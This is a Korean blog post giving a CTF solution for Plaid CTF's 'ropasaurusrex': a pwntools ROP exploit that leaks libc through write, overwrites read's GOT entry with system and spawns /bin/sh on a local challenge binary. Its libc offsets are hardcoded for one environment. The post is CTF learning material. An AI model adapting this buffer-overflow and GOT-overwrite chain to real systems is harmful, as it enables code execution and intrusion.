constWORLDant

Plaid CTF ropasaurusrex Expliot 본문

0x07 CTF/[스스로 푼 것]

Plaid CTF ropasaurusrex Expliot

data type ConS_tanT 2018.05.02 22:33

#!-*-encoding:utf-8-*-

from pwn import*

'''

rop 의 목적 : nx 및 alsr 우회

조건 1. system 함수가 필요하다

조건 2. binsh 가 필요하다


트리거 과정

1. system 을 구한다

2. binsh 를 구한다

3. 페이로드를 작성한다

'''

context.log_level = 'debug'

elf = ELF('./rop')

p = process('./rop')


read_plt = elf.plt['read']  # 함수를 호출하기 위해 plt가 필요하다

write_plt = elf.plt['write']

read_got = elf.got['read']

#elf = elf.plt['system']바이너리에  시스템이 존재하지 않아서 쓸 수 없다.

pppr = 0x80484b6 # objdump -d ./rop | grep -A3 "pop" 으로 찾아야 정확함 -> 삽질 존나했음

dinamic = 0x08049530

binsh = "/bin/sh"

# 실제 바이너리의 메모리에 libc 가 올라옴으로 libc 안에 있는 함수를 쓸 수 있다. return to libc



payload = "A" * 140 #sfp 까지 덮었따

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)

payload += p32(dinamic)

payload += p32(len(binsh))




payload += p32(write_plt)

payload += p32(pppr)

payload += p32(1)   #pop

payload += p32(read_got) # pop  

payload += p32(4) #pop



payload += p32(read_plt)  #ret

payload += p32(pppr)

payload += p32(0)

payload += p32(read_got)

payload += p32(4)


payload += p32(read_plt)

payload += "AAAA"

payload += p32(dinamic)





p.send(payload)

sleep(1)

p.send(binsh)

sleep(1)

read_libc = u32(p.recv(4)) #libc_read leak


system_libc = 0xf7e47da0


log.info("read_libc = " + hex(read_libc))

log.info("system_libc = " + hex(system_libc))


offset = 0xf7ed8b00 - 0xf7e3dda0

log.info("offset = " + hex(offset))


system__ = read_libc - offset

sleep(1)

p.send(p32(system__))



'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글

ISITDTU CTF Reversing Embeedding  (0) 2018.07.30
DEFCON CTF Qualifier 2018 ELF Clumber  (0) 2018.05.14
Plaid CTF ropasaurusrex Expliot  (0) 2018.05.02
whitehat malloc  (0) 2018.04.14
swamp return writeup  (0) 2018.04.08
swamp journey writeup  (0) 2018.04.08
0 Comments
댓글쓰기 폼